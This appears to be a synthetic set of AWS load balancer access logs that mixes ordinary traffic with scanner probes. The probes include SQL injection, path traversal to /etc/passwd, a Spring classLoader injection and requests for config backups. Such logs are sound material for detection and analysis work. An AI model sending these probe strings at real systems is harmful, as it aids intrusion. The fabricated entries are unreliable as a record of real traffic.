+https 2024-11-01T01:04:16.669634Z staging-alb 39.191.162.205:63109 188.208.213.23:8080 0.001911 0.489965 0.041205 200 200 884 13590 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6a0-2d1adaf3ed834d17bfb8ce62" "staging-alb.example.com" "-" 9 2024-11-01T01:04:16.669634Z "forward" "-" "-" "188.208.213.23:8080" "200" "-" "-" +https 2024-11-01T01:04:17.247441Z prod-web-alb 72.63.155.198:43682 10.0.192.39:443 0.008306 0.045435 0.073625 302 302 709 11195 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6a1-7ffce8bc91144bd09c68e4b7" "prod-web-alb.example.com" "-" 6 2024-11-01T01:04:17.247441Z "forward" "-" "-" "10.0.192.39:443" "302" "-" "-" +https 2024-11-01T01:04:18.168419Z prod-api-alb 150.66.193.162:60949 10.0.197.11:443 0.032570 0.363435 0.040888 302 302 456 6758 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6a2-4d07d364cdd3411799754a3c" "prod-api-alb.example.com" "-" 6 2024-11-01T01:04:18.168419Z "forward" "-" "-" "10.0.197.11:443" "302" "-" "-" +https 2024-11-01T01:04:19.691844Z staging-alb 177.23.233.128:39245 168.192.88.92:443 0.086200 0.318844 0.104751 200 200 410 8601 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6a3-fa275fc968334af2835ef301" "staging-alb.example.com" "-" 5 2024-11-01T01:04:19.691844Z "forward" "-" "-" "168.192.88.92:443" "200" "-" "-" +https 2024-11-01T01:04:21.365084Z prod-web-alb 45.155.205.44:25358 10.0.26.17:443 0.095770 0.156498 0.028300 404 404 404 1423 "GET /debug/pprof HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6a5-b077d30866644a4ab309cfdc" "-" "-" 3 2024-11-01T01:04:21.365084Z "forward" "-" "-" "10.0.26.17:443" "404" "-" "-" +https 2024-11-01T01:04:22.279022Z prod-api-alb 62.178.196.5:50211 10.0.129.108:443 0.048358 0.055788 0.087799 301 301 852 14813 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6a6-1ec3cfa81bfb4bcc915e2316" "prod-api-alb.example.com" "-" 0 2024-11-01T01:04:22.279022Z "forward" "-" "-" "10.0.129.108:443" "301" "-" "-" +https 2024-11-01T01:04:24.200412Z prod-api-alb 193.27.228.126:27947 10.0.133.44:443 0.089474 0.144124 0.008732 403 403 205 7867 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6a8-43f31fe2f868400ab62644b5" "-" "-" 6 2024-11-01T01:04:24.200412Z "forward" "-" "-" "10.0.133.44:443" "403" "-" "-" +https 2024-11-01T01:04:25.598103Z prod-api-alb 244.11.11.195:24698 10.0.99.184:443 0.013222 0.089546 0.075164 200 200 755 2697 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6a9-dd257a55843649d1bd7cde85" "prod-api-alb.example.com" "-" 6 2024-11-01T01:04:25.598103Z "forward" "-" "-" "10.0.99.184:443" "200" "-" "-" +https 2024-11-01T01:04:27.354447Z prod-web-alb 161.9.125.18:41297 10.0.40.87:443 0.082861 0.429354 0.004488 301 301 866 8926 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6ab-7cabf1481b4e497a912bb52b" "prod-web-alb.example.com" "-" 2 2024-11-01T01:04:27.354447Z "forward" "-" "-" "10.0.40.87:443" "301" "-" "-" +https 2024-11-01T01:04:27.931239Z prod-web-alb 32.39.243.85:41577 10.0.76.231:443 0.085670 0.220559 0.007517 200 200 817 8106 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6ab-48b2aa20e7634325b4ca635a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:04:27.931239Z "forward" "-" "-" "10.0.76.231:443" "200" "-" "-" +https 2024-11-01T01:04:29.900149Z prod-api-alb 189.40.82.247:47354 10.0.31.162:443 0.041397 0.350119 0.010237 301 301 335 4406 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6ad-8b804d1a9e4f4613a90fd0eb" "prod-api-alb.example.com" "-" 0 2024-11-01T01:04:29.900149Z "forward" "-" "-" "10.0.31.162:443" "301" "-" "-" +https 2024-11-01T01:04:30.260348Z staging-alb 185.181.73.18:64052 94.174.64.69:443 0.114945 0.488357 0.031082 401 401 435 13626 "POST /wp-config.php.bak HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6ae-d96587b0ce0b4fe68b24c984" "-" "-" 10 2024-11-01T01:04:30.260348Z "forward" "-" "-" "94.174.64.69:443" "401" "-" "-" +https 2024-11-01T01:04:30.980049Z prod-web-alb 111.60.178.70:28129 10.0.65.209:443 0.028829 0.043158 0.057362 301 301 928 12053 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6ae-b044544ad8a3498886816c2f" "prod-web-alb.example.com" "-" 1 2024-11-01T01:04:30.980049Z "forward" "-" "-" "10.0.65.209:443" "301" "-" "-" +https 2024-11-01T01:04:31.859876Z staging-alb 170.237.252.32:17105 142.192.62.1:8080 0.032171 0.171980 0.031950 200 200 248 12394 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6af-487c879e724c4bd7b0d3bdfa" "staging-alb.example.com" "-" 5 2024-11-01T01:04:31.859876Z "forward" "-" "-" "142.192.62.1:8080" "200" "-" "-" +http 2024-11-01T01:04:33.171301Z staging-alb 185.181.183.244:47130 197.51.160.246:80 0.077169 0.071679 0.091431 200 200 280 5544 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6b1-6b5d7507316b45ba985f1003" "-" "-" 7 2024-11-01T01:04:33.171301Z "forward" "-" "-" "197.51.160.246:80" "200" "-" "-" +https 2024-11-01T01:04:34.270779Z prod-web-alb 198.255.253.155:48333 10.0.155.134:443 0.066372 0.027849 0.095340 200 200 753 13605 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6b2-28ade82fa60e489d9fb97a6a" "prod-web-alb.example.com" "-" 0 2024-11-01T01:04:34.270779Z "forward" "-" "-" "10.0.155.134:443" "200" "-" "-" +https 2024-11-01T01:04:36.213894Z prod-api-alb 68.192.205.173:54068 10.0.243.91:443 0.080163 0.178138 0.078308 302 302 897 7474 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6b4-a0c8a254ecbe466eb9d0662d" "prod-api-alb.example.com" "-" 9 2024-11-01T01:04:36.213894Z "forward" "-" "-" "10.0.243.91:443" "302" "-" "-" +https 2024-11-01T01:04:38.165805Z staging-alb 13.61.255.67:36208 222.56.60.115:8080 0.000901 0.348523 0.047607 200 200 920 4642 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6b6-a3c729b936a5462ba319ea7e" "staging-alb.example.com" "-" 4 2024-11-01T01:04:38.165805Z "forward" "-" "-" "222.56.60.115:8080" "200" "-" "-" +http 2024-11-01T01:04:39.270806Z staging-alb 193.61.245.205:53728 186.106.73.32:80 0.077273 0.105276 0.014447 302 302 640 10875 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6b7-0275c13bb8804541943c0298" "staging-alb.example.com" "-" 4 2024-11-01T01:04:39.270806Z "forward" "-" "-" "186.106.73.32:80" "302" "-" "-" +https 2024-11-01T01:04:40.905333Z prod-api-alb 49.25.183.116:20654 10.0.75.97:443 0.015030 0.436122 0.075807 200 200 802 6706 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6b8-af01ae797940446ebdd7cf02" "prod-api-alb.example.com" "-" 3 2024-11-01T01:04:40.905333Z "forward" "-" "-" "10.0.75.97:443" "200" "-" "-" +http 2024-11-01T01:04:41.773198Z staging-alb 226.76.87.15:61865 141.67.165.176:80 0.116651 0.693027 0.140148 200 200 167 7400 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6b9-8a742f28a23e4266be6d2a52" "staging-alb.example.com" "-" 9 2024-11-01T01:04:41.773198Z "forward" "-" "-" "141.67.165.176:80" "200" "-" "-" +https 2024-11-01T01:04:42.883378Z prod-web-alb 131.220.36.198:28299 10.0.95.34:443 0.005911 0.479215 0.081777 302 302 658 5640 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6ba-9e273bb127cb434082654bc4" "prod-web-alb.example.com" "-" 9 2024-11-01T01:04:42.883378Z "forward" "-" "-" "10.0.95.34:443" "302" "-" "-" +https 2024-11-01T01:04:44.567868Z staging-alb 99.61.10.47:43388 252.13.78.174:443 0.072489 0.243583 0.003963 404 404 816 369 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6bc-cec5c5f051a74b609fee700e" "staging-alb.example.com" "-" 9 2024-11-01T01:04:44.567868Z "forward" "-" "-" "252.13.78.174:443" "404" "-" "-" +https 2024-11-01T01:04:45.349560Z prod-api-alb 52.151.98.250:60825 10.0.75.30:443 0.015804 0.120829 0.053086 301 301 238 6873 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6bd-df43a0abcce04a3fb3a74262" "prod-api-alb.example.com" "-" 6 2024-11-01T01:04:45.349560Z "forward" "-" "-" "10.0.75.30:443" "301" "-" "-" +https 2024-11-01T01:04:46.511187Z prod-web-alb 144.36.37.223:13214 10.0.237.212:443 0.009885 0.145907 0.083770 302 302 639 4881 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6be-d6dc6f836c1a4e5bb00a666f" "prod-web-alb.example.com" "-" 5 2024-11-01T01:04:46.511187Z "forward" "-" "-" "10.0.237.212:443" "302" "-" "-" +http 2024-11-01T01:04:46.621296Z staging-alb 188.139.149.249:32622 42.211.12.219:80 0.027002 0.204497 0.145816 301 301 28 7778 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6be-eacc694f05994a6981d010ad" "staging-alb.example.com" "-" 9 2024-11-01T01:04:46.621296Z "forward" "-" "-" "42.211.12.219:80" "301" "-" "-" +http 2024-11-01T01:04:47.345147Z staging-alb 4.120.141.76:42143 247.227.22.241:8080 0.033542 0.167068 0.116460 200 200 394 12071 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6bf-bd4da46c5dd843a08d64ec3f" "staging-alb.example.com" "-" 6 2024-11-01T01:04:47.345147Z "forward" "-" "-" "247.227.22.241:8080" "200" "-" "-" +http 2024-11-01T01:04:49.076900Z staging-alb 72.50.51.60:21174 2.21.96.202:80 0.115253 0.513299 0.048502 301 301 911 12320 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6c1-3f4adfc9d87942fbaa4c1ae3" "staging-alb.example.com" "-" 7 2024-11-01T01:04:49.076900Z "forward" "-" "-" "2.21.96.202:80" "301" "-" "-" +https 2024-11-01T01:04:49.380253Z prod-web-alb 189.190.48.126:49673 10.0.167.134:443 0.009607 0.028075 0.087308 301 301 279 7240 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6c1-d61acdc83a82434fbe5abfdd" "prod-web-alb.example.com" "-" 5 2024-11-01T01:04:49.380253Z "forward" "-" "-" "10.0.167.134:443" "301" "-" "-" +http 2024-11-01T01:04:50.766513Z staging-alb 4.81.129.229:22781 83.234.232.249:443 0.143540 0.671393 0.105733 200 200 794 8972 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6c2-45a6ac00a4c349dd82b25351" "staging-alb.example.com" "-" 8 2024-11-01T01:04:50.766513Z "forward" "-" "-" "83.234.232.249:443" "200" "-" "-" +http 2024-11-01T01:04:51.912520Z staging-alb 101.173.170.189:45982 70.101.249.124:80 0.100971 0.094688 0.115329 200 200 786 5760 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6c3-41a67f2a3e144173bb388b0f" "staging-alb.example.com" "-" 7 2024-11-01T01:04:51.912520Z "forward" "-" "-" "70.101.249.124:80" "200" "-" "-" +https 2024-11-01T01:04:53.391216Z prod-api-alb 1.143.46.242:49300 10.0.142.27:443 0.027045 0.337675 0.063348 200 200 213 1960 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6c5-8fe323e6f0354ad1b9745557" "prod-api-alb.example.com" "-" 9 2024-11-01T01:04:53.391216Z "forward" "-" "-" "10.0.142.27:443" "200" "-" "-" +https 2024-11-01T01:04:54.519621Z prod-api-alb 89.188.95.92:61359 10.0.156.199:443 0.043172 0.234572 0.050987 200 200 409 13682 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6c6-9c2776c1a6424a6d8488d8a0" "prod-api-alb.example.com" "-" 1 2024-11-01T01:04:54.519621Z "forward" "-" "-" "10.0.156.199:443" "200" "-" "-" +https 2024-11-01T01:04:55.656256Z prod-web-alb 45.155.205.141:10255 10.0.135.80:443 0.098074 0.280136 0.012178 403 403 20 6923 "GET /../../../etc/passwd HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6c7-c77a14eb9ccd433b860a1be7" "-" "-" 3 2024-11-01T01:04:55.656256Z "forward" "-" "-" "10.0.135.80:443" "403" "-" "-" +https 2024-11-01T01:04:55.782708Z prod-api-alb 118.5.85.202:42974 10.0.177.49:443 0.086793 0.250671 0.056376 200 200 520 13493 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6c7-0ae1adf9cb9f415fa4c9f042" "-" "-" 4 2024-11-01T01:04:55.782708Z "forward" "-" "-" "10.0.177.49:443" "200" "-" "-" +https 2024-11-01T01:04:56.830997Z prod-web-alb 222.6.79.228:33579 10.0.158.251:443 0.079067 0.497461 0.005809 200 200 602 7920 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6c8-8f6a1d09d98b441d9d3c4001" "prod-web-alb.example.com" "-" 3 2024-11-01T01:04:56.830997Z "forward" "-" "-" "10.0.158.251:443" "200" "-" "-" +https 2024-11-01T01:04:58.731457Z prod-api-alb 158.159.122.107:29309 10.0.189.62:443 0.061083 0.356858 0.070447 404 404 411 10041 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6ca-acbb0e607f4d44e49417c0e3" "prod-api-alb.example.com" "-" 0 2024-11-01T01:04:58.731457Z "forward" "-" "-" "10.0.189.62:443" "404" "-" "-" +https 2024-11-01T01:04:59.698884Z prod-api-alb 43.215.117.150:17521 10.0.97.145:443 0.000333 0.387968 0.040651 302 302 264 5358 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6cb-159b701620314b5f8450be78" "prod-api-alb.example.com" "-" 7 2024-11-01T01:04:59.698884Z "forward" "-" "-" "10.0.97.145:443" "302" "-" "-" +https 2024-11-01T01:05:01.402802Z prod-api-alb 81.0.1.254:48298 10.0.55.240:443 0.023869 0.390067 0.059496 200 200 520 13707 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6cd-dd5f54dc602f4d2aa2ac8664" "prod-api-alb.example.com" "-" 5 2024-11-01T01:05:01.402802Z "forward" "-" "-" "10.0.55.240:443" "200" "-" "-" +https 2024-11-01T01:05:02.887382Z staging-alb 191.60.7.23:17581 114.127.143.236:8080 0.098491 0.590554 0.059368 404 404 94 8814 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6ce-15e04f0e6aff44918918a0c2" "staging-alb.example.com" "-" 6 2024-11-01T01:05:02.887382Z "forward" "-" "-" "114.127.143.236:8080" "404" "-" "-" +https 2024-11-01T01:05:03.205887Z prod-web-alb 68.120.104.113:34173 10.0.234.98:443 0.088847 0.314570 0.006463 302 302 968 9156 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6cf-abf2ba67f9c04d49a3d601e9" "prod-web-alb.example.com" "-" 6 2024-11-01T01:05:03.205887Z "forward" "-" "-" "10.0.234.98:443" "302" "-" "-" +https 2024-11-01T01:05:05.039660Z prod-api-alb 99.4.43.170:35551 10.0.86.193:443 0.088799 0.160572 0.057776 200 200 483 1691 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6d1-befa495d3d9243628aced60e" "prod-api-alb.example.com" "-" 7 2024-11-01T01:05:05.039660Z "forward" "-" "-" "10.0.86.193:443" "200" "-" "-" +https 2024-11-01T01:05:05.864752Z prod-api-alb 182.9.253.94:62735 10.0.190.38:443 0.033199 0.391109 0.048371 301 301 88 12952 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6d1-c6b66a69a7b747dab6108422" "prod-api-alb.example.com" "-" 9 2024-11-01T01:05:05.864752Z "forward" "-" "-" "10.0.190.38:443" "301" "-" "-" +https 2024-11-01T01:05:06.157203Z prod-web-alb 109.209.5.47:35823 10.0.171.71:443 0.067263 0.074134 0.051360 200 200 652 3606 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6d2-0a060afc22014e9ba600c658" "prod-web-alb.example.com" "-" 4 2024-11-01T01:05:06.157203Z "forward" "-" "-" "10.0.171.71:443" "200" "-" "-" +https 2024-11-01T01:05:07.487754Z prod-web-alb 45.155.205.51:49303 10.0.17.166:443 0.045794 0.101634 0.064557 403 403 334 10607 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6d3-5d4d4066494c418ca865e3bf" "-" "-" 4 2024-11-01T01:05:07.487754Z "forward" "-" "-" "10.0.17.166:443" "403" "-" "-" +https 2024-11-01T01:05:08.453567Z prod-web-alb 45.8.84.237:50270 10.0.125.255:443 0.007079 0.191805 0.044461 200 200 645 9298 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6d4-4269566a75104b9881f87ea6" "prod-web-alb.example.com" "-" 3 2024-11-01T01:05:08.453567Z "forward" "-" "-" "10.0.125.255:443" "200" "-" "-" +https 2024-11-01T01:05:09.143665Z staging-alb 177.148.36.81:49146 201.11.154.56:80 0.028079 0.345846 0.073626 200 200 256 5944 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6d5-b7f5e38f91a64f5cb92f9628" "staging-alb.example.com" "-" 5 2024-11-01T01:05:09.143665Z "forward" "-" "-" "201.11.154.56:80" "200" "-" "-" +https 2024-11-01T01:05:09.890180Z prod-api-alb 89.10.105.158:30300 10.0.58.203:443 0.077425 0.151489 0.098657 200 200 440 3569 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 